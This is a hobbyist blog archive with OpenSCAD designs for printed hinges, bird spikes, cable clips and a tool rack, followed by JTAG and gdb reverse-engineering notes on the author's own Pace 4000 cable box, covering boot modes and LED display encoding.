          (0-(half_depth-((hinge_fill_y+half_space)/2)))+half_depth+half_space,
          0
        ])
          cube(size=[
            (half_width*0.2)+(hole_recess_diam*1.5),
            flap_width,
            hinge_fill_z
          ]);
      }

      translate([
          hinge_fill_x,
          //0-(hinge_fill_y/2)-(hinge_fill_y-half_depth)+(horiz_thick/2),
          0-(pole_diam/2)+(horiz_thick)-(hpole_r),
          height/2])
        pole_with_tabs(
          width=half_width*0.8,
          pole_r=hpole_r,
          pole_thick=horiz_thick,
          hole_diam=screw_hole_diam,
          hole_recess_diam=screw_recess_diam,
          nut_type=nut_type,
          tab_angle=horiz_tab_angle);

    }

    translate([
        hinge_fill_x+(half_width*1)+(hole_recess_diam*0.75),

        (0-(half_depth-((hinge_fill_y+half_space)/2)))+half_depth+half_space,
        height/2]){

      rotate(a=90, v=[1,0,0]){
        cylinder(h=pole_diam*1.5, r=hole_r, center=true);

        translate([0,0,0+(half_depth/2)+3])
          cylinder(h=half_depth, r=hole_recess_r, center=true, $fn=nut_type);

        translate([0,0,0-(half_depth/2)-3])
          cylinder(h=half_depth, r=hole_recess_r, center=true);
      }
    }

    //pole hole
    translate([hinge_fill_x+(half_width/2), (hinge_fill_y+half_space)/2, -(((height*1.1)-hinge_fill_z)/2)]) {
      rotate(a=90, v=[0,0,0])
        cylinder(h=(height*1.1), r=pole_r);
    }

    //hinges
    if(render_hinges)
      translate([10, (hinge_fill_y+(half_space*2))/2 ,0])
        rotate(a=(-45/2), v=[0,0,1])
          vertical_hinge_negative(theta0=45, height=(hinge_fill_z/num_hinges), n=num_hinges, r1=hinge_r1);

  }
}

/*
* tol - the smallest distance allowable between interlocking parts of your 3d printer. This gap is the
vertical (and horizontal) distance between the cones inside the hinge and is also the diameter and height of the
small support structure between hinge elements
* r1 - the outer radius of the hinge. the surface of your part should not be farther away from the center of
the hinge than this disntace.
* r2 - the furthest radius from the hinge where material is removed from the part.
* height - the height of each hinge element. The total height of the hinge is n*height. (the cut will extent
beyond this distance by height/2 on both sides. The part where you are creating the hinge should have a height
of n*height) the height must be greater than 2*r1
* n - the number of hinge elements. One hinge element is divided between the top and bottom.
* theta0 - the angle at which the hinge is printed
* theta1 - the internal angle formed when the hinge is turned to its limit in one direction (the x- part of the
hinge_test_1 example when rotated clockwise as viewed from above)
* theta2 - the internal angle formed when the hinge is turned to its limit in the opposite direction
*/
module vertical_hinge_negative(tol=0.5,r1=5,r2=15,height=15,n=2,theta0=180,theta1=45,theta2=45) {

    arm_width=2*r1;
    union() {
        for(i=[0:n])
            translate([0,0,(i-0.5)*height])
                difference() {

                    //cone between hinges and cuts around the hinge
                    rotate_extrude()
                        polygon([[r1,0],[r1,height],[tol/2,height-r1+tol/2],
                                [tol/2,height-r1+1.5*tol],[r1,height+tol],
                                [r2,height+tol],[r2,0]]);


                    //exclude a rectangular shape for the arm the connects the hinge to the body
                    rotate((i%2)*theta0)
                        difference() {
                            translate([0,-arm_width/2,-height])
                                cube(size=[r2*2,arm_width,height*2]);

                            translate([0,0,height-r1])
                                cylinder(r1=0,r2=height,h=height);
                        }

                    //exclude a triangular shape that limits the motion of the arms on the side of the hinge
                    for(i=[0,1])
                        mirror([0,i,0])
                            rotate(-i*theta0)
                                translate([0,0,-tol])
                                    linear_extrude(height=height+3*tol)
                                        intersection() {
                                            circle(r=2*r2);

                                            rotate(theta0+180+theta2)
                                                translate([0,r2*3+arm_width/2+tol])
                                                    square(size=[r2*6,r2*6],center=true);

                                            rotate(theta0-theta1)
                                                translate([0,r2*3+arm_width/2+tol])
                                                    square(size=[r2*6,r2*6],center=true);

                                            rotate(theta0)
                                                translate([r2*3,0])
                                                    square(size=[r2*6,r2*6],center=true);
                                        }
            }
       }
}




//*********************************************************

module pole_with_tabs_neg(width, pole_r, pole_thick, hole_diam, tab=false, tab_angle=0, gap=1){
  rotate(a=90, v=[0,1,0]){
    cylinder(h=width, r=pole_r+pole_thick);
  }

  if(tab==true){
    // screw hole in tab
    rotate(a=tab_angle, v=[1,0,0])
      translate([width/2,
                 0,
                 pole_r+(pole_thick)+hole_diam ]) {
        // tab gap
        cube([width*1.1, gap, (hole_diam*2)+(pole_thick*3)], center=true);
      }
  }
}

module pole_with_tabs(width, pole_r, pole_thick, hole_diam, hole_recess_diam, nut_type=6, tab_angle=0, gap=1){
  hole_r = hole_diam/2;
  difference(){
    union(){
      rotate(a=90, v=[0,1,0]){
        cylinder(h=width, r=(pole_r+pole_thick)*1.01);
      }

      // tab block
      hull(){
        rotate(a=90, v=[0,1,0]){
          cylinder(h=width, r=(pole_r+pole_thick)*1.01);
        }
        rotate(a=tab_angle, v=[1,0,0])
          translate([width/2, 0, ((hole_recess_diam)+(pole_thick*2)+pole_r)/2]){
            cube([
              hole_recess_diam,
              (pole_thick*2)+gap,
              (hole_recess_diam)+(pole_thick*2)+pole_r],
              center=true);
          }
        }
    }

    // pole hole
    translate([0-(width*0.5), 0, 0])
      rotate(a=90, v=[0,1,0]){
        cylinder(h=width*2.0, r=pole_r);
      }

    // screw hole in tab
    rotate(a=tab_angle, v=[1,0,0])
      translate([width/2,
                 0,
                 pole_r+(pole_thick)+(hole_recess_diam/2) ]) {

        // screw hole
        rotate(a=90, v=[1,0,0]){
          cylinder(h=pole_r*3, r=hole_r, center=true);

          //nut/screw recesses
          translate([0, 0, 0+(pole_r/2)+(pole_thick+gap)]){
            cylinder(h=pole_r, r=hole_recess_diam/2, center=true);
          }
          translate([0, 0, 0-(pole_r/2)-(pole_thick+gap)]){
            cylinder(h=pole_r, r=hole_recess_diam/2, center=true, $fn=nut_type);
          }
        }

        // tab gap
        cube([width*1.1, gap, (hole_recess_diam*2)+(pole_thick*3)], center=true);
      }
  }

}
  

Early versions; too flimsy, couldn't take the weight of the fat pigeons:

3d printing|scad|
parametric pole mount bird spikes 11 Apr 2015

Fat pidgeons kept disturbing my carefully positioned birdcams. To disuade them from landing on the most sensitive places I've knocked up some parametric clip on spikes.

The available knobs to twiddle are:

The clip part is pretty much the same as my cable clip.

Thingiverse customiser here.

spike_l = 60; // spike length
spike_h = 2;  // spike height
spike_w = 3;  // spike width

pole_dia = 13;  // diameter of the pole
pole_thick = 3; // thickness of the clip
pole_h = 10;    // height of the clip

$fn = 48;

pole_r = pole_dia/2;

difference (){

  union(){
    translate([0-(spike_w/2), 0, 0]){

      rotate(a=-45, v=[0,0,1])
        cube([spike_w, spike_l, spike_h], center=false);

      rotate(a=-22.5, v=[0,0,1])
        cube([spike_w, spike_l, spike_h], center=false);

      cube([spike_w, spike_l, spike_h], center=false);

      rotate(a=22.5, v=[0,0,1])
        cube([spike_w, spike_l, spike_h], center=false);

      rotate(a=45, v=[0,0,1])
        cube([spike_w, spike_l, spike_h], center=false);
    }

    cylinder(r=pole_r+pole_thick, h=pole_h);
  }

  translate([0, 0, 0-(pole_h*0.1) ]){
    cylinder(r=pole_r, h=pole_h*1.2);

    translate([0, 0-pole_r-(pole_thick*2), 0])
      cylinder(r=pole_r+pole_thick, h=pole_h*1.2);
  }
}
  
3d printing|scad|
parametric pole cable clip 9 Apr 2015

(Update: Thingiverse customiser.)

For another project I needed to run various cables to some pole mounted kit. The poles are two different diameters, so I put together this parametric design so I would only need one model.

The available knobs to twiddle are:

Hopefully only the pole diameter needs to be changed; 3mm around the pole seems to hold firmly and 2mm for the clip gives enough flexibility to easily pop cables in and out. If the cables are fat then the clip depth can be increased as required.

pole_dia = 24.5;
pole_r = pole_dia/2;
pole_thick = 3;
pole_h = 5;
clip_depth = 10;
clip_thick = 2;

$fn = 96;

clip_depth2 = clip_depth + pole_r;

difference (){

  union(){
    translate([pole_r, 0, 0]){
      cube([clip_thick, clip_depth2, pole_h]);
      
      translate([0+1, clip_depth2, 0]){
        rotate(a=180, v=[0,0,1]){
          cube([(pole_r*2), clip_thick, pole_h]);
          
          translate([(pole_r*2), 0, 0]){
            cube([clip_thick, clip_depth2/2, pole_h]);
          }
        }
      }      
    }
    
    cylinder(r=pole_r+pole_thick, h=pole_h);
  }

  translate([0, 0, 0-(pole_h*0.1) ]){
    cylinder(r=pole_r, h=pole_h*1.2);
    
    translate([0, 0-pole_r-(pole_thick*2), 0])
      cylinder(r=pole_r+pole_thick, h=pole_h*1.2);
  }
}
  

3d printing|scad|
parametric tool rack for keyhole shelving 22 Mar 2015

(Update: uploaded to thingiverse and customiser.)

A couple of months ago I bought a Reprap 3D printer, and to make space for it in the lab I also brought a bunch of keyhole shelving units. For a while I'd been thinking it would be nice to print a simple hook that would fit the keyholes and while browsing thingiverse I found Timmytool's parametric hook. Now I had somewhere to hang my favourite pair of pliers, but the hook was no good for my favourite screwdriver :)

The script I put together is based on Timmytool's scad file on thingiverse (and still mentions the 'hook' - I was being lazy and haven't unpicked all the original wedge logic) and configuring the keyhole dimensions is still the same:

Additionally, to configure the shelf and holes: The script will attempt to calculate the depth of the shelf and an even spacing between the holes.

shelf_width=100, shelf_hole_radius=6, num_holes=4

shelf_width=100, shelf_hole_radius=3, num_holes=8

//width of the shelf
shelf_width = 100;
//radius of the holes
shelf_hole_radius = 3;
//number of holes
num_holes = 8;


//diameter of the large round part of the key hole,make smaller then real (for clearances)
key_big = 11;
//diameter of the small offshoot from the main key cylinder,make smaller then real (for clearances)
key_small = 6;

//distance from one key hole to the same point in the next key hole, make slightly bigger then real (for clearances)
key_spacing = 39;
//thickness of the material the key holes are kut out of, make slightly bigger then real (for clearances)
key_thickness = 1.75;

//thickness of lugs and support bar
support_thickness = 4;

hook = 10;

//calculated
spacer = ((shelf_width - (shelf_hole_radius * 2 * num_holes)) / num_holes) / 2;
poke = (shelf_hole_radius*2)+hook;
hookStart = support_thickness*2+key_thickness;
angle = atan ( hook / poke);
hype = poke + hook;
KBR = key_big/2;
KSR = key_small/2;

module wedge()  {
	translate([0,-key_small,0]) difference() {
		cube([poke,key_small,hook]);
		rotate(a=[0,-angle,0])translate([0,-1,0])cube([hype,key_small+2,hook]);
	}
}

module betterjoints() {
	intersection(){
		translate([0,-KSR,0])cube([key_spacing,key_small,support_thickness*2+key_thickness]);
		cylinder(h= support_thickness*2+key_thickness ,r1 = KBR , r2 = KBR,$fn=36);
	}
}

translate([-KBR- key_spacing/2,-KBR,0]) {		//to centre item on the build platform

  difference() {
    //shelf
    translate([KBR, KBR - (shelf_width/2), hookStart]) {
	    cube([hook/2, shelf_width, poke]);
    }

    //holes
    for ( i = [1 : num_holes ] ) {
      translate([
	      (KBR/2)-(hook/2), 
	      KBR - (shelf_width/2) + (shelf_hole_radius + spacer)*(i *2-1), 
	      hype-(poke/2)+(key_small/2)]) {
	
	      rotate([0, 90, 0]) {
		      #cylinder(h = hook*2, r = shelf_hole_radius);
	      }
      }  
    }
  }


  translate([KBR,KBR - KSR,hookStart]) {		//support bar making and wedge
    translate([poke,0,0])rotate(a=[0,0,180]) wedge();
    translate([0,0,-support_thickness]) cube([key_spacing,key_small,support_thickness]);
  }

  translate([KBR,KBR,0]) {								//post 1
	  cylinder(h= hookStart + poke, r1 = KSR ,r2 = KSR,$fn=36);
	  cylinder(h= support_thickness ,r1 = KBR , r2 = KBR,$fn=36);
	  betterjoints();
	  translate([key_spacing,0,0]){						//post 2
		  cylinder(h= hookStart, r1 = KSR ,r2 = KSR,$fn=36);
		  cylinder(h= support_thickness ,r1 = KBR , r2 = KBR,$fn=36);
		  betterjoints();
		  }
	  }
}
  
3d printing|scad|
pace4000 header identification 26 Oct 2014

After seeing my previous work on hackaday, one of the designers of the Pace4000/Di4000 - David Fields (aka Vorchan) contacted me:

"Reading your article really took me back, 14 years ago we designed that box. It was actually called DSB for dual standard box since it was the worlds first cable box to support both DocSIS and Davic, the two cable standards at the time. It was designed to support many different cable operators around the world. Telewest and NTL (before the Virgin merger) both took boxes, from the debug you have a rebranded NTL box. The CPU is a Conexant chip (cannot remember the full number) video decoder. It runs VXWorks as the OS. The Broadcom BCM3250 chip is just the cable interface, full docsis/davic modem and video downstream tuner. The conexant CPU runs all the software."

David worked on the hardware and was able to identify some of the other pin outs on the board, and confirm my guess that PL8600 was a serial header (U8600's layout matches a MAX232):

(Click here for a large version.)

ID      Colour    Description
--      ------    -----------
PL8600  Yellow    UART - also routed to pins 10 and 12 on the SCART
                  "At boot up as part of the boot loader the box sends out a short UART message, I think AT1, 
                  which when connected to a PC running some manufacturing test/service software called DigDeBug 
                  would cause the PC to send back a different message that the boot loader would use to boot the 
                  box into testing mode and not the normal user UI. Other than this AT command there is no other 
                  debug on the UART, its all turned off."

PL1300  Blue      UART for the Broadcom cable modem chip
                  "This was used for Broadcom specific test modes to get extra cable modem debug from that processor."

PL1     Purple    I2C to control the tuners directly
                  "Used to allow RF development engineers to control the two tuners (tall metal cans) directly 
                  instead of going via the Broadcom chip. This allowed for quicker bring up and test of the tuners 
                  while drivers were written."

PL5600  Green     Used to change the voltage on the NOR reset pin. 
                  "This allows up to temporary unlock the NOR boot loader for reprogramming."

PL5300  Red       JTAG
  

All of these look like interesting avenues for further research, PL8600 and PL1 initially: PL8600 can be further explored using JTAG+openocd+gdb to identify what the boot loader is sending and/or expecting to receive (more on this soon). And - making the assumption that the tuners are always controlled over the same I2C bus - I should be able to sniff PL1 using my bus pirate while forcing the box into 'tuning mode' (see here and here).

reverse engineering|pace4000|
pace4000 testing modes 4 Oct 2014

While researching what was already known about my pace 4000 box, I'd read that it could be booted into a test mode by pressing and holding the up and down buttons as you power it on. The 4x seven segment display on the front of the box changes to 'Ldr' and on the TV it shows this:

At this point the screen goes black and the front display changes to '----'. If the up/down buttons are released it runs through what I would guess is a hardware test routine; the display changes to 'PL:XX' - where XX is an incrementing two digit number - until XX is 21. It then moves onto the 'AP:XX' tests - 00 to 52 - at AP:31 a black and white Virgin media logo is shown on the TV:

If during the period '----' is displayed on the front screen, the up/down buttons continue to be pressed, the box boots instead into an 18 page diagnostic mode. The front display changes to 'diag'. Most of it is what you might expect: software versions, tuner/channel data etc - pages 9 - 12 are a bit more interesting. Here's a grab of each page:

This page almost guarantees that the bootloader contains some sort of CRC check. It also helpfully provides the exact start and end memory locations for the loader and the 'platform':

The memory map should hopefully help in locating the flash, so that over jtag I can restore the image if required:

The code 16 "Tuning parameters corrupt" events seem to relate to changes in the in-memory image caused by using soft-breakpoints; 'Err1' is displayed on the front display when that happens:

As I don't have a cable feed, the default boot actually does very little; the front panel shows 'Er11', 'Er12' then 'nit' and the TV just shows a black screen. I believe it needs to first download the 'nit' channel information from the cable network, before it will continue to the regular UI. For this reason I decided that the 'diag' mode was likely to be more interesting, but didn't really fancy having to hold the buttons down every time I wanted to reboot the box. I decided first to locate the switch point in the binary, that could be patched out when I attached openocd/gdb.

The set up is the same as I used previously: busblaster connected to the jtag pins; openocd configured to use the busblaster, with a simple arm config and listening for gdb on port 3333; and arm-none-eabi-gdb from the the gnu tools.

Openocd is executed like this, so that it halts the CPU as soon as it starts:

lee@monkeybox ~/Documents $ sudo openocd -f busblaster.cfg -f conexant_arm.cfg -c init -c halt -c targets
  

And gdb: connects to openocd and tells gdb how many hardware breakpoints we have:

arm-none-eabi-gdb -ex "target remote localhost:3333" -ex "set remote hardware-breakpoint-limit 2"
  

I'd discovered when playing with the front display that the instruction @ 0x1c240 got hit a few times during startup and that the display changed on the 11th, 31st, 40th and 82nd hit. I also knew that the 82nd hit changed text to 'nit' - which isn't shown when booting into the test modes - the switch must be before that point.

I iteratively halved the number of hits before I held down the buttons until I'd isolated that the keypress detection was between hit 35 and 36. From those two points I traced forwards/backwards (the lr register is your friend) and found this likely looking assembler:

0x00001154	0xe3a07000	MOV r7, #0x0
0x00001158	0xe3c050ff	BIC r5, r0, #0xff             <<<< r5 = r0 & 0xffffff00
0x0000115c	0xe3550e60	CMP r5, #0x600                <<<< if r5 == 0x600
0x00001160	0x0a000033	BEQ 0x00001234
0x00001164	0x8a00000c	BHI 0x0000119c
0x00001168	0xe3550f80	CMP r5, #0x200                <<<< if r5 == 0x200
0x0000116c	0x0a00001b	BEQ 0x000011e0
0x00001170	0x8a000004	BHI 0x00001188
0x00001174	0xe3550000	CMP r5, #0x0                  <<<< if r5 == 0x0
0x00001178	0x0a000014	BEQ 0x000011d0
0x0000117c	0xe3550f40	CMP r5, #0x100                <<<< if r5 == 0x100
0x00001180	0x0a000014	BEQ 0x000011d8
0x00001184	0xea00002a	B 0x00001234
0x00001188	0xe3550fc0	CMP r5, #0x300                <<<< if r5 == 0x300
0x0000118c	0x0a000017	BEQ 0x000011f0
0x00001190	0xe3550e40	CMP r5, #0x400                <<<< if r5 == 0x400
0x00001194	0x0a000017	BEQ 0x000011f8
0x00001198	0xea000025	B 0x00001234
0x0000119c	0xe3550e90	CMP r5, #0x900                <<<< if r5 == 0x900
0x000011a0	0x0a000017	BEQ 0x00001204
0x000011a4	0x8a000004	BHI 0x000011bc
0x000011a8	0xe3550e70	CMP r5, #0x700                <<<< if r5 == 0x700
0x000011ac	0x0a00000f	BEQ 0x000011f0
0x000011b0	0xe3550e80	CMP r5, #0x800                <<<< if r5 == 0x800
0x000011b4	0x0a00000c	BEQ 0x000011ec
0x000011b8	0xea00001d	B 0x00001234
0x000011bc	0xe3550ea0	CMP r5, #0xa00                <<<< if r5 == 0xa00
0x000011c0	0x0a00000a	BEQ 0x000011f0
0x000011c4	0xe3550eb0	CMP r5, #0xb00                <<<< if r5 == 0xb00
0x000011c8	0x0a000007	BEQ 0x000011ec
0x000011cc	0xea000018	B 0x00001234
  

Setting a breakpoint on 0x1154 revealed that r0 - before having the last eight bits masked off - is 0x300 when the box is booted normally and 0x911 when up/down is pressed. Breaking and modifying the value of r0, I could trivially boot into the diag mode, however it's quite obvious that there are more than just those two modes available.

0x0 and 0x100 don't appear to do very much, TV screen is black and the front display just shows 'Err1' (more on this later). 0x400 shows the blue 'NTL Loader' but the text has changed and we appear to have booted into an ethernet/serial download mode:

0x600 runs the into the same mode as 0x900 but doesn't show the 'NTL Loader'.

0x800 and 0xb00 display the 'NTL Loader', again text is different and the box goes into a tuning mode; first through the 'Hard Coded Channel list' and then a full scan - front display changes to Err4, Er12, Er11, nit and 'H XX' (XX: 00 - 50) for the hardcoded list and 'S XX' (XX: 00 - 89) for the scan:

0xa00 shows a black screen and just says 'nit'.

In order to gain a little more insight into the modes I've traced the first 20-30 instructions for each mode:

Each column is the sequence of instructions executed for that mode; where a short sequence (i.e. a function) is shared between two or more mode sequences they've been highlighted in the same colour. White patches are unique to that mode.

It's easy to see that the five modes (0x900, 0x200, 0x400, 0x800 and 0xb00) that display the 'NTL Loader' all call the 'blue' function - analysis of this code shows it simply sets a global flag. The flag is then read in the 'yellow' function, which returns a 0 or 1 and ultimately causes the code to branch into the purple/pink code - otherwise it ends up at brown.

0x100 clearly shows that it enters a "while(1){}" style construct @ 0x24ac and so it's understandable why it doesn't do anything. Interestingly it tries to write "Multi-ICE Download" to the TV beforehand, even though it hasn't been initialised.

0x0 does seem to be actually doing something, although as yet I haven't taken a look. Again it attempts to write a string to the TV that hints at it's real purpose: "ARM Debugger Download" :)

As you can see in the first image at the top of the page I was also able to modify the strings written to the TV. At 0x12bc I also found a call to what must be drawrect():

0x000012a0	0xe3a03c85	MOV r3, #0x8500
0x000012a4	0xe2833054	ADD r3, r3, #0x54
0x000012a8	0xe52d3004	STR r3, [r13, #-0x4]!     << r3 contains the colour
0x000012ac	0xe3a02fb4	MOV r2, #0x2d0            << r2 = 720
0x000012b0	0xe3a01000	MOV r1, #0x0              << r1 = 0
0x000012b4	0xe1a00001	MOV r0, r1                << r0 = 0
0x000012b8	0xe3a03f90	MOV r3, #0x240            << r3 = 576 - PAL :)
0x000012bc	0xeb0040e5	BL 0x00011658             << drawrect(r0, r1, r2, r3)  
  

0x12a0 through to 0x12a8 set the 16 bit colour (might be 0xRGBA?); r2 is set to the width @ 0x12ac and r3 is set to the height @ 0x12b8 - 720x576: full screen PAL; r0 and r1 are the x and y coords. Messing with the values before the call to drawrect() let me produce these:

reverse engineering|pace4000|jtag|
pace4000 display hack over jtag 19 Sept 2014

With the jtag pins found on the pace 4000 I though it would be nice if I could do something with it. It can (obviously) output video to a TV but I don't have a screen with a SCART input in the lab. Instead I thought I'd exercise my vanity and write my name on the 4x seven segment LED display on the front of the box.

The device is a black box with no documentation regarding the hardware, boot loader or OS. I knew that the CPU was an ARM - it has 'ARM' printed on it - which means the likely initial entry point is @ 0x0. If I halted the CPU as soon as the device was powered, I could catch it in a loop @ 0x638 where it was zeroing it's memory (adding '-c init -c halt' to the end of the openocd command line will make it halt the processor immediately) :

0x00000638	0xe8a007fc	STM r0!, {r2, r3, r4, r5, r6, r7, r8, r9, r10}
0x0000063c	0xe1500001	CMP r0, r1
0x00000640	0xbafffffc	BLT 0x00000638
  

From this early point in the execution I could reset the pc register back to 0x0 and step through from the start of the firmware using gdb - any later and it seems that some globals get set and interrupts have been enabled, which cause the code to branch into an infinite loop at several points.

The box runs through a handful of four char strings when it's powered on. Poking round further with gdb I eventually found a breakpoint (0x1c240) where on the 11th, 31st, 40th and 82nd hit it changes the text to '----', 'PACE', 'Err1' and 'nit' respectively. From here it jumps into a general purpose memory copy function, that reads a byte from RAM and writes it to 0x31500335:

0x0001c2e4	0xe1a0c00d	MOV r12, r13
0x0001c2e8	0xe92dd800	STMDB r13!, {r11, r12, r14, r15}
0x0001c2ec	0xe59f3030	LDR r3, [r15, #0x30]
0x0001c2f0	0xe24cb004	SUB r11, r12, #0x4
0x0001c2f4	0xe3a0c000	MOV r12, #0x0
0x0001c2f8	0xe5933000	LDR r3, [r3]
0x0001c2fc	0xe15c0001	CMP r12, r1
0x0001c300	0xe0800003	ADD r0, r0, r3
0x0001c304	0x2a000004	BCS 0x0001c31c
0x0001c308	0xe4d23001	LDRB r3, [r2], #0x1  <<< read from RAM @r2 into r3
0x0001c30c	0xe4c03001	STRB r3, [r0], #0x1  <<< write r3 to @r0 (0x31500335)
  

As soon as the STRB (SToRe Byte) command was executed the display changed. Stepping back and forth over 0x1c30c changing the value r3 revealed something interesting: the bottom half of the first two of the segments changed and the bottom of segments three and four changed to what one and two had just been - more iterations showed changes to the top half's, along with the colon in the middle and the three status LEDs on the right.

It was now apparent that the display was split into four sections and I could simply write each section in turn, by writing four times to 0x31500335, pushing the data round anti-clockwise until I had updated the whole display. I'd noticed though, that this wasn't what happened when the display was updated by the firmware; the whole display updated in one go.

Taking a look at the 10th hit of 0x1c240 showed that another byte was being written to the address before the one in the 11th call (@0x31500334). Changes here didn't affect the display until the 11th break on 0x1c240. At this point I wrongly assumed that the display could be addressed by writing to 0x31500332, 0x31500333, 0x31500334 and 0x31500335 - where the '335 write also updated the screen. By Examining the two hits before it was demonstrated that the sequence was in fact: three writes to '334 and a final write to '335 to update the screen - all the writes caused a shift round to the next section; these gdb commands will update the whole display:

set $pc = 0x1c30c
set $r0 = 0x31500334
set $r3 = 0xff
ni

set $pc = 0x1c30c
set $r0 = 0x31500334
set $r3 = 0xff
ni

set $pc = 0x1c30c
set $r0 = 0x31500334
set $r3 = 0xff
ni

set $pc = 0x1c30c
set $r0 = 0x31500335
set $r3 = 0xff
ni
  

In the above 'map' you can see the four sections - red, blue, green and pink - of a byte each, where every bit corresponds to an individual segment (A-H). Note that the two LEDs that make up the colon between the two '88' digits are addressed as a single bit (A). As an added complication bits A-C and F-H are inverted i.e. you set them off to light them up; D and E are the other way around:

          ABCDEFGH
0xe7    0b11100111    A-H off
0x18    0b00011000    A-H on  
  

Writing to the segments is done by first writing in turn pink, then green and blue to 0x31500334. Then finally red to 0x31500335 which will also update the display.

I now had enough information to program the display and after working out the values based on the map I could write my name using this:

set $pc = 0x1c30c
set $r0 = 0x31500334
set $r3 = 0xfb
ni

set $pc = 0x1c30c
set $r0 = 0x31500334
set $r3 = 0xd7
ni

set $pc = 0x1c30c
set $r0 = 0x31500334
set $r3 = 0xe0
ni

set $pc = 0x1c30c
set $r0 = 0x31500335
set $r3 = 0x01
ni
  

My expectation was that these byte values would be pre-calculated and hardcoded somewhere in the firmware image but I couldn't find them. I noticed in the 'strings' output the four char strings I had been seeing on the display:

PRIMARY LOADER
Ldr 
Err1                                <<<
RAM Fail
Err2
**********NVRAM Fail***********
Err3
FLASH Fail
Er40
Cache Initialise Fail
LED Initialise Fail
PACE                                <<<
Key Initialise Fail
I2C Initialise Fail
Graphics Initialise Fail
DENC Initialise Fail
SCART Initialise Fail
REMOD Initialise Fail
Engineering mode
Failed to read keys
ENGINEERING MODE: 
0000
0000
Found platform
Decompressed platform
FAILED TO GET PROTECTED CONFIGURATION DATA
----                                <<<
  

I was interested to see how the conversion was done so I set a rwatch breakpoint on the address of 'PACE'. The process is split into two parts, the first part takes each of the four chars in turn and uses their value as an index into this lookup table:

0x0001fc04: 4d 42 4d 32 39 4c 56 36 35 31 20 28 57 41 52 4e 49 4e 47 3a 20 55 6e 74 65 73 74 65 64 29 00 00 
0x0001fc24: 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 3f 06 5b 4f 66 6d 7d 07 7f 6f 00 00 00 00 00 00 
               A  B  C  D  E  F  G  H  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z
0x0001fc44: 00 77 7f 39 3f 79 71 3d 76 06 1f 00 38 00 37 3f 73 67 50 6d 78 3e 00 00 00 66 00 79 64 4f 00 08 
               a  b  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v  w  x  y  z
0x0001fc64: 00 5f 7c 58 5e 7b 71 6f 74 04 0e 00 06 00 54 5c 73 67 50 6d 78 1c 00 00 00 6e 00 00 30 00 40 00 
0x0001fc84: 01 01 01 00 80 01 80 00 2d 2d 2d 2d 00 00 00 00 00 00 00 00 b7 1d c1 04 6e 3b 82 09 d9 26 43 0d 
0x0001fca4: dc 76 04 13 6b 6b c5 17 b2 4d 86 1a 05 50 47 1e b8 ed 08 26 0f f0 c9 22 d6 d6 8a 2f 61 cb 4b 2b 
0x0001fcc4: 64 9b 0c 35 d3 86 cd 31 0a a0 8e 3c bd bd 4f 38 70 db 11 4c c7 c6 d0 48 1e e0 93 45 a9 fd 52 41 
0x0001fce4: ac ad 15 5f 1b b0 d4 5b c2 96 97 56 75 8b 56 52 c8 36 19 6a 7f 2b d8 6e a6 0d 9b 63 11 10 5a  
  

These byte values represent which parts of an individual seven-segment to light up:

  7654321
0b1111111

 1
6 2
 7
5 3
 4
  

'PACE' is translated to: 73 77 39 79 and looks like this:

         7654321
P 0x73 0b1110011
A 0x77 0b1110111
C 0x39 0b0111001
E 0x79 0b1111001

 1     1     1     1
6 2   6 2   6     6
 7     7           7
5     5 3   5     5
             4     4
  

The second part of the process uses masking and shifting to map the idealised representation of the bit sequences to the four coloured sections mapped out earlier. The four chars are first reversed (e.g. 0x79773979 becomes 0x79397779) and then split into two 16 bit words i.e. as 0xAAAABBBB.

Each of A and B are further split into 0xXXYY and bits 1, 2 and 6 from both X and Y (which are the top half of the letters) are shifted into place as the pink and green sections. Bits 3, 4, 5 and 7 (the bottom half's) - again from both X and Y - are shifted to become the red and blue sections. The final values are then xor'd against 0xe7 to flip the inverted (A-C and F-H) bits.

The following python was written against the assembler to validate the approach:

#python implementation of the PACE 4000 ASCII to 88:88 display.
#
#It first reads the 4 char ASCII string and maps that to this lookup table (base+char):
'''
0x0001fc04: 4d 42 4d 32 39 4c 56 36 35 31 20 28 57 41 52 4e 49 4e 47 3a 20 55 6e 74 65 73 74 65 64 29 00 00 
0x0001fc24: 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 3f 06 5b 4f 66 6d 7d 07 7f 6f 00 00 00 00 00 00 
0x0001fc44: 00 77 7f 39 3f 79 71 3d 76 06 1f 00 38 00 37 3f 73 67 50 6d 78 3e 00 00 00 66 00 79 64 4f 00 08 
0x0001fc64: 00 5f 7c 58 5e 7b 71 6f 74 04 0e 00 06 00 54 5c 73 67 50 6d 78 1c 00 00 00 6e 00 00 30 00 40 00 
0x0001fc84: 01 01 01 00 80 01 80 00 2d 2d 2d 2d 00 00 00 00 00 00 00 00 b7 1d c1 04 6e 3b 82 09 d9 26 43 0d 
0x0001fca4: dc 76 04 13 6b 6b c5 17 b2 4d 86 1a 05 50 47 1e b8 ed 08 26 0f f0 c9 22 d6 d6 8a 2f 61 cb 4b 2b 
0x0001fcc4: 64 9b 0c 35 d3 86 cd 31 0a a0 8e 3c bd bd 4f 38 70 db 11 4c c7 c6 d0 48 1e e0 93 45 a9 fd 52 41 
0x0001fce4: ac ad 15 5f 1b b0 d4 5b c2 96 97 56 75 8b 56 52 c8 36 19 6a 7f 2b d8 6e a6 0d 9b 63 11 10 5a 

the lookup table describes the individual LEDs that need to be lit up to show the letter - for an idealised display.

However the PACE4000 display is wacky (the digits are across byte boundaries - split around the middle and need to be shifted in) and so we then need to mangle it using masking/shifting to give us the four bytes we need to shift in.

 -   -
| | | |
 -   -
| | | |
 -   -

lookup table bit pattern:
 1
6 2
 7
5 3
 4
 
'''

lookup = [
  0x4d, 0x42, 0x4d, 0x32, 0x39, 0x4c, 0x56, 0x36, 0x35, 0x31, 0x20, 0x28, 0x57, 0x41, 0x52, 0x4e, 0x49, 0x4e,
  0x47, 0x3a, 0x20, 0x55, 0x6e, 0x74, 0x65, 0x73, 0x74, 0x65, 0x64, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x3f, 0x06, 0x5b, 0x4f, 0x66, 0x6d, 
  0x7d, 0x07, 0x7f, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x77, #A
 0x7f, #B
 0x39, #C
 0x3f, #D
 0x79, #E
 0x71, #F
 0x3d, #G
 0x76, #H
